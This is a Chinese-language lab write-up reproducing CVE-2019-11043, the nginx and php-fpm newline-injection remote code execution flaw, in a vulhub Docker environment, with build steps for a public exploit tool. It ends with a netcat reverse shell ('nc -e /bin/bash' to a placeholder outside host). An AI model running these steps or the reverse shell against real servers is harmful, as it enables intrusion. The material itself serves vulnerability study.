CVE-2019-11043漏洞复现&&反弹shell

1.漏洞介绍

nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-documentrootdocument_rootfastcgi_script_name){return 404;}`的时候就会导致远程代码执行。

像服务器url发送%0a时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {
 ...
 fastcgi_split_path_info ^(.+?\.php)(/.*)$;
 fastcgi_param PATH_INFO $fastcgi_path_info;
 fastcgi_pass   php:9000;
 ...
}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

fastcgi_split_path_info:https://segmentfault.com/a/1190000002667095

2.漏洞复现

环境使用的vulhub

具体参考:https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

环境需要 docker、golang

sudo apt-get install docker docker-compose
sudo apt install golang

环境搭建完成打开127.0.0.1:8080就能访问

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

漏洞利用

反弹shell

想的是用nc反弹shell,然后发现docker环境里面没有nc,只好自己安装nc了

apt update
apt-get install netcat

nc安装完毕

#现在外网服务器上面监听 
nc -lvp 7777

#再用 nc -e /bin/bash x.x.x.x 7777 反弹shell 
参考链接

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

https://github.com/neex/phuip-fpizdam/issues/1

https://bugs.php.net/bug.php?id=78599

http://blog.leanote.com/post/snowming/9da184ef24bd